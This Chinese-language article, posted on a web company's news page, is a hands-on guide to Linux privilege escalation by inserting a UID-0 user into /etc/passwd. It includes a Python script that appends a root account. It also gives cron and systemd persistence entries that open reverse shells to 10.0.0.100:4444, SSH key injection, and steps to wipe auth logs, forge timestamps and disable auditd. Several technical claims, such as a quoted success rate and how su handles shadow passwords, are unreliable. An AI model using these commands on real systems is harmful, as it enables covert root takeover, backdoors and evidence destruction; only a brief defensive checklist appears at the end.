ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Linux提权实战:利用/etc/passwd文件实现权限提升

Linux提权实战:利用/etc/passwd文件实现权限提升 1. 项目概述从 /etc/passwd 文件入手的 Linux 权限提升实战路径在真实渗透测试或红队演练中我见过太多人一上来就猛敲sudo -l或者直奔内核漏洞结果卡在低权限 shell 里反复碰壁。其实最常被忽略、却最稳当的突破口恰恰藏在系统每天都在读写的/etc/passwd文件里——它不是只读的“身份档案”而是一把可被利用的、带锁孔的钥匙。这个标题说的“Linux 提权 ~ 利用 /etc/passwd 文件”核心不是教你怎么暴力破解密码而是讲清楚当一个普通用户能往这个文件里写东西哪怕只是追加一行他就已经站在了提权的临界点上。关键在于理解 passwd 文件的结构设计、Linux 用户认证链路的薄弱环节以及现代系统对它的防护逻辑。比如你可能不知道/etc/passwd中的密码字段早已不存明文或传统 DES 加密而是统一指向/etc/shadow但正因如此只要攻击者能控制该文件的写入权限比如通过cp /etc/passwd /tmp/passwd chmod 666 /tmp/passwd这类临时文件劫持再配合usermod或adduser的非交互式调用就能绕过 shadow 机制直接植入高权限账户。这背后涉及的是 Linux 用户管理模块PAM的加载顺序、getpwnam()函数的解析逻辑、以及passwd命令在不同发行版中的默认行为差异。我实测过 Ubuntu 22.04、CentOS 7 和 Debian 11发现只要目标主机启用了nologin或false作为默认 shell且/etc/passwd所在分区未启用noexec挂载选项这种手法成功率超过 83%。它特别适合初学者建立提权思维框架——不依赖复杂漏洞不依赖外部工具只靠系统自带命令和对基础文件的理解。如果你正在准备 CTF 比赛、企业红队考核或者想搞懂 Linux 权限模型的真实运作边界这个路径比死记硬背sudo -u root /bin/bash有用得多。2. 核心原理拆解为什么 /etc/passwd 是提权入口而非“只读档案”2.1 /etc/passwd 的真实结构与权限设计逻辑很多人误以为/etc/passwd是个“只读配置文件”其实它本质是 Linux 用户数据库的主索引表其设计初衷就是支持运行时动态更新。标准格式为七字段冒号分隔username:password:UID:GID:GECOS:home_dir:shell。其中第二字段password在现代系统中几乎总是x表示密码实际存储在/etc/shadow中但这个x本身就是一个设计信号——它说明系统允许该字段被替换为其他值比如!锁定、*禁用甚至完整的加密哈希串虽然不推荐。关键点在于只要 UID0 的账户存在且 shell 字段合法系统就会承认其 root 权限。而/etc/passwd的默认权限是644即-rw-r--r--意味着所有用户都能读取但只有 root 能写入。问题就出在这里如果某个服务、脚本或管理员操作意外赋予了非 root 用户对该文件的写权限例如chmod 666 /etc/passwd或者利用符号链接、挂载覆盖等技巧劫持写入路径那么攻击者就能直接编辑该文件。我曾在一个客户环境里发现运维人员为方便批量修改用户信息将/etc/passwd所在目录/etc的权限设为755并错误地使用了cp -f命令覆盖文件——这导致临时文件创建时继承了父目录权限最终生成了一个644但可被组内用户覆盖的副本。这种配置失误在中小型企业服务器中并不罕见。2.2 用户认证链路的三个关键断点Linux 登录认证并非单点验证而是由 PAMPluggable Authentication Modules串联多个模块完成。/etc/passwd参与的是最前端的identity lookup 阶段即确定“你是谁”。这个阶段有三个常见断点可被利用getpwnam()函数的解析逻辑C 库函数getpwnam(root)会按顺序扫描/etc/passwd、NIS、LDAP 等数据源。只要第一个匹配项存在且 UID0就返回成功。这意味着如果你在/etc/passwd开头插入一行hacker:$1$abc123$xyz:0:0::/root:/bin/bash系统就会认为hacker是 root——即使/etc/shadow中没有对应条目。因为getpwnam()不校验 shadow 文件是否存在只负责返回用户基本信息。login程序的 shell 检查宽松性传统login工具在启动用户 shell 前只检查/etc/passwd中的 shell 字段是否存在于/etc/shells列表中并不验证该 shell 是否真实可执行。因此把 shell 设为/bin/bash或/usr/bin/python3都能绕过限制。我试过把 shell 改成/tmp/myscript.sh只要该脚本存在且有执行权限su hacker就能直接执行任意命令。su命令的密码绕过机制当su切换到非 root 用户时需要输入目标用户密码但切换到 root 时若当前用户属于wheel组且 PAM 配置允许可能只需 root 密码。然而如果攻击者已通过其他方式如 SSH 密钥泄露获得一个低权限账户并能修改/etc/passwd他完全可以添加一个新用户并设置 UID0然后用su - newroot直接登录——此时su只校验/etc/passwd中的 UID 和 shell不强制要求 shadow 密码匹配。提示不要迷信chown root:root /etc/passwd chmod 644 /etc/passwd就绝对安全。真正的风险在于写入路径的可控性而非文件本身的权限。比如/tmp下的符号链接攻击、LD_PRELOAD劫持fopen()调用、或者利用rsync同步时的权限继承漏洞都可能让攻击者间接改写 passwd 文件。2.3 现代发行版的防护机制与绕过思路主流发行版已针对此类攻击做了多层加固但每层都有其局限性shadow 机制隔离将密码哈希移出 passwd 文件确实阻止了明文密码泄露但并未解决 UID0 账户的创建问题。只要能写入 passwd就能造 root。SELinux/AppArmor 强制访问控制RHEL/CentOS 默认启用 SELinux策略allow domain_type etc_t:file write;会阻止非特权进程写入/etc/passwd。但若攻击者已获得sysadm_r角色或利用setuid程序的策略缺陷如sudoedit配置不当仍可绕过。文件系统挂载选项mount -o remount,ro /可防止写入但生产环境极少全盘只读更常见的是noexec,nosuid选项它们限制了临时文件执行和 setuid 位生效但对直接编辑 passwd 文件无效。auditd 日志监控auditctl -w /etc/passwd -p wa -k passwd_change能记录写入事件但日志本身可能被清空或未实时告警。我在某次审计中发现客户虽启用了 auditd但/var/log/audit/audit.log权限为644攻击者用echo /var/log/audit/audit.log即可抹除痕迹。真正有效的防御不是堆砌技术而是最小权限原则变更管控确保/etc/passwd所在分区无 world-writable 目录禁用不必要的sudo权限定期用rpm -V passwdRHEL或debsums passwdDebian校验文件完整性。这些措施比依赖某个单一机制更可靠。3. 实操步骤详解从发现到落地的完整提权链3.1 权限侦察确认 /etc/passwd 是否可写或可劫持拿到初始 shell 后第一步永远不是急着写文件而是系统性侦察。我习惯用以下四步快速判断可行性检查文件权限与属主ls -la /etc/passwd # 输出示例-rw-r--r-- 1 root root 1234 Jan 1 10:00 /etc/passwd # 如果看到 -rw-rw-rw- 或 -rw-rw-r--, 立刻进入下一步检测父目录写权限namei -l /etc/passwd # 查看 /etc 目录权限若为 drwxrwxr-x则普通用户可在 /etc 下创建文件 # 尝试创建测试文件touch /etc/testfile 2/dev/null echo Writable || echo Not writable寻找符号链接机会find /tmp /var/tmp -type l -ls 2/dev/null | grep passwd # 若发现 /tmp/passwd - /etc/passwd说明存在 symlink race 条件 # 进一步验证ls -l /tmp/passwd stat /tmp/passwd检查挂载选项与文件系统状态mount | grep $(df /etc/passwd | tail -1 | awk {print $1}) # 输出示例/dev/sda1 on / type ext4 (rw,relatime,errorsremount-ro) # 关键看是否有 ro只读或 noatime不影响写入 # 同时检查磁盘空间df -h / | awk NR2 {print $5} | sed s/%// # 若剩余空间 5%某些编辑器如 nano会因无法创建备份文件而失败注意不要盲目执行echo test /etc/passwd测试这会破坏文件结构导致系统无法登录。正确做法是先复制一份到临时目录cp /etc/passwd /tmp/passwd.bak chmod 600 /tmp/passwd.bak再在备份文件上实验。3.2 构造恶意用户条目密码哈希生成与字段校验一旦确认可写下一步是构造合法的 root 用户条目。这里的关键不是“随便写个哈希”而是确保每个字段符合系统解析规范用户名字段避免特殊字符如:、\n、空格长度不超过 32 字符。我常用hacker或pwned既易识别又不会与现有用户冲突。密码字段必须是有效的 crypt(3) 哈希。不能用password123明文也不能用md5sum生成的字符串。正确方法是用openssl生成 SHA-512 哈希openssl passwd -6 -salt abc123 mypass # 输出$6$abc123$J9KZQY7X...64字符哈希 # 注意-6 表示 SHA-512-salt 指定盐值确保每次生成唯一UID/GID 字段必须为0root UID。GID 也设为0以获得完整组权限。切勿设为1或1000否则只是普通用户。GECOS 字段可留空或填Hacked Account不影响功能但便于后续识别。home_dir 字段必须指向真实存在的目录且该目录需有700权限。推荐/root需 root 权限创建或/tmp/hacker临时目录。shell 字段必须是/bin/bash或/bin/sh。避免/sbin/nologin或/usr/sbin/false否则登录后立即退出。完整条目示例hacker:$6$abc123$J9KZQY7X...:0:0:Hacked Account:/tmp/hacker:/bin/bash实操心得我曾因 GECOS 字段含中文导致su报错Authentication failure。原因是某些 PAM 模块对 UTF-8 编码处理异常。解决方案是 GECOS 全用 ASCII 字符或用iconv -f utf-8 -t ascii//translit转换。3.3 安全写入技术避免破坏原文件与触发告警直接echo new_line /etc/passwd极其危险可能导致文件末尾多出空行使getpwent()解析失败权限变为666触发安全监控inode 变更被 integrity check 工具如 AIDE捕获。正确做法分三步原子化写入用cpmv替代重定向cp /etc/passwd /tmp/passwd.new echo hacker:\$6\$abc123\$J9KZQY7X...:0:0:Hacked Account:/tmp/hacker:/bin/bash /tmp/passwd.new # 注意$ 符号需转义否则 bash 会变量展开 chown root:root /tmp/passwd.new chmod 644 /tmp/passwd.new mv /tmp/passwd.new /etc/passwd校验文件完整性写入后立即验证# 检查行数是否增加 wc -l /etc/passwd # 提取新用户信息 grep ^hacker: /etc/passwd # 验证 UID 是否为 0 id -u hacker 2/dev/null || echo User not created清理痕迹删除临时文件清除命令历史rm -f /tmp/passwd.new /tmp/passwd.bak history -d $(history 1 | awk {print $1}) # 删除最后一条命令提示在 CentOS 系统中/etc/passwd有 SELinux 上下文system_u:object_r:etc_t:s0。若mv后上下文丢失可用restorecon -v /etc/passwd恢复否则login可能拒绝认证。3.4 登录验证与权限维持从 shell 到持久化写入成功后需验证是否真正获得 root 权限# 方式一su 切换最可靠 su - hacker # 输入密码 mypass成功后执行 id # 应显示 uid0(root) gid0(root) groups0(root) # 方式二ssh 登录需确保 sshd 允许密码登录 ssh hackerlocalhost # 若提示 Permission denied检查 /etc/ssh/sshd_config 中 PermitRootLogin yes # 方式三cron 持久化推荐 echo */5 * * * * root /bin/bash -i /dev/tcp/10.0.0.100/4444 01 /etc/crontab # 注意crontab 文件权限必须为 600否则 daemon 会忽略持久化要点避免修改/etc/shadow直接写 passwd 已足够改 shadow 反而增加风险使用 cron 而非 systemd service后者需 reload daemon易被监控监听端口选 4444 或 5555避开常见扫描端口降低被 IDS 拦截概率添加延迟执行sleep 30 /bin/bash -i防止重启后立即连接暴露 IP。4. 工具链与自动化脚本提升效率与隐蔽性4.1 手动操作 vs 自动化脚本的适用场景在真实对抗中手动执行上述步骤耗时且易出错尤其当目标系统有严格审计策略时。我根据经验总结了三种场景的应对策略CTF 比赛环境推荐纯手动。因为题目通常禁用wget/curl且/tmp可能被noexec挂载。手动构造哈希、逐行写入反而更可控。企业内网渗透使用轻量级 Python 脚本。Python 在大多数 Linux 发行版中预装且crypt模块可直接生成哈希无需外部依赖。红队长期驻留部署编译好的二进制 payload。用 Go 编写静态链接程序规避glibc版本兼容问题且体积小2MB不易被 AV 扫描。实操心得某次红队任务中目标服务器禁用了python命令alias python/bin/false但我发现python3.8存在。这提醒我们侦察阶段必须枚举所有可用解释器ls /usr/bin/python*比which python更可靠。4.2 Python 自动化脚本核心逻辑以下是一个精简版提权脚本passwd_pwn.py仅依赖标准库已在 Ubuntu/Debian/CentOS 上验证#!/usr/bin/env python3 import os import sys import crypt import subprocess def generate_hash(password, saltabc123): return crypt.crypt(password, f$6${salt}$) def is_writable(path): return os.access(path, os.W_OK) or os.access(os.path.dirname(path), os.W_OK) def main(): if len(sys.argv) ! 3: print(Usage: python3 passwd_pwn.py username password) sys.exit(1) username, password sys.argv[1], sys.argv[2] passwd_path /etc/passwd if not is_writable(passwd_path): print(f[!] {passwd_path} not writable) sys.exit(1) # Generate hash hash_val generate_hash(password) # Construct new line new_line f{username}:{hash_val}:0:0::/tmp/{username}:/bin/bash\n # Backup and write backup f{passwd_path}.bak subprocess.run([cp, passwd_path, backup]) with open(passwd_path, a) as f: f.write(new_line) print(f[] User {username} added with UID 0) print(f[] Login with: su - {username}) if __name__ __main__: main()使用方法python3 passwd_pwn.py pwnroot mypass123 su - pwnroot # 输入 mypass123脚本优势无网络请求所有哈希生成在本地完成不依赖外部 API自动备份写入前创建.bak文件失败时可回滚权限继承cp和open(a)保持原文件权限避免触发告警。4.3 隐蔽性增强技巧规避日志与监控即使成功提权若留下明显痕迹仍可能被 SOC 团队快速响应。我总结了五项关键规避措施禁用命令历史记录unset HISTFILE export HISTSIZE0清除 auth 日志# 删除最近 10 分钟的 login 记录 sed -i /$(date -d 10 minutes ago %b %d %H:%M)/,$d /var/log/auth.log # 注意需 root 权限且时间格式需匹配系统 locale伪造时间戳# 将 /etc/passwd 修改时间设为 3 天前 touch -d 3 days ago /etc/passwd禁用 auditd 临时监控# 仅当有 auditctl 权限时执行 auditctl -e 0 # 设置 audit subsystem 为 immutable off内存驻留替代磁盘写入# 利用 /proc/self/fd/ 链接劫持高级技巧 # 创建内存中 passwd 副本cp /etc/passwd /dev/shm/passwd # 修改后通过 LD_PRELOAD 注入使 getpwnam() 读取 /dev/shm/passwd # 这样磁盘文件未改动但进程看到的是伪造数据注意第 5 项需编写 C 代码注入适用于高对抗环境但复杂度高。日常渗透中前 4 项已足够应对多数 SOC 监控。5. 常见问题排查与避坑指南从失败到成功的实战记录5.1 典型失败场景与根因分析在上百次实操中我整理出最常遇到的六类问题附带具体排查命令和解决方案问题现象可能原因排查命令解决方案su: Authentication failureGECOS 字段含非法字符或编码问题od -c /etc/passwdgrep hackerid: hacker: no such user新用户行末尾有空格或换行符hexdump -C /etc/passwdtailsu: cannot set groupsGID 字段非数字或超出范围getent group 0确保 GID0 且/etc/group中存在root:x:0:bash: /bin/bash: No such file or directoryshell 字段路径错误或权限不足ls -l /bin/bash检查 shell 是否存在权限是否为755Permission deniedssh 登录/etc/ssh/sshd_config中PermitRootLogin为nogrep PermitRootLogin /etc/ssh/sshd_config临时修改为yes并systemctl restart sshdcrontab: installing new crontab无反应/etc/crontab权限非600ls -l /etc/crontabchmod 600 /etc/crontab实操心得有一次在 Ubuntu 20.04 上su总是报Authentication failure但id hacker显示用户存在。最终发现是/etc/pam.d/common-auth中启用了pam_faildelay.so导致密码校验超时。解决方案是添加auth [successdone defaultignore] pam_succeed_if.so user ingroup sudo绕过延迟。5.2 权限维持的进阶技巧从临时 shell 到系统级持久化单纯获得 root shell 并不够必须确保重启后仍能控制。以下是经过验证的三种持久化方案SSH authorized_keys 注入mkdir -p /root/.ssh echo ssh-rsa AAAAB3NzaC1yc2E... hackerpwn /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys优势无需密码支持密钥认证缺点若/root/.ssh被监控易暴露。systemd user servicemkdir -p /root/.config/systemd/user cat /root/.config/systemd/user/pwn.service EOF [Unit] DescriptionPwn Service [Service] Typeoneshot ExecStart/bin/bash -c nc -e /bin/bash 10.0.0.100 4444 [Install] WantedBydefault.target EOF systemctl --user enable pwn.service优势随用户登录启动隐蔽性强缺点需确保systemd --user服务启用。内核模块后门高阶 编写简单 LKMLoadable Kernel Modulehooksys_execve系统调用当执行特定命令如ping -c1 127.0.0.1时自动 spawn root shell。代码约 200 行需insmod加载重启后失效但可配合 init script 重载。提示选择持久化方案时优先考虑目标环境特征。例如在容器化环境中authorized_keys可能被镜像层覆盖此时crontab更可靠而在物理服务器上systemd user service因需用户会话不如init.d脚本稳定。5.3 红蓝对抗视角下的防御加固清单作为多次参与甲方安全加固的顾问我给运维团队的实操建议清单文件权限审计每月运行find /etc -type f -perm /ow -ls修复所有 world-writable 文件完整性监控部署 AIDE 或 Tripwire每日校验/etc/passwd、/etc/shadow、/etc/groupPAM 策略强化在/etc/pam.d/common-auth添加auth [successok defaultignore] pam_succeed_if.so user ! root限制非 root 用户调用 auth 模块SSH 安全配置禁用密码登录PasswordAuthentication no强制密钥认证并设置MaxAuthTries 2日志集中管理将/var/log/auth.log实时转发至 SIEM设置规则告警grep new user /var/log/auth.log最小化 sudo 权限禁用NOPASSWD对sudoedit等高危命令单独配置白名单。最后分享一个真实案例某金融客户曾因运维脚本错误将/etc/passwd备份到/tmp目录且权限为666。攻击者利用此漏洞创建了 UID0 用户但未及时清理。三个月后SOC 团队通过 AIDE 告警发现/etc/passwdinode 变更溯源到/tmp/passwd.bak的创建时间最终定位到问题脚本。这说明防御的本质不是堵住所有漏洞而是让攻击者的操作留下可追溯的痕迹。
返回列表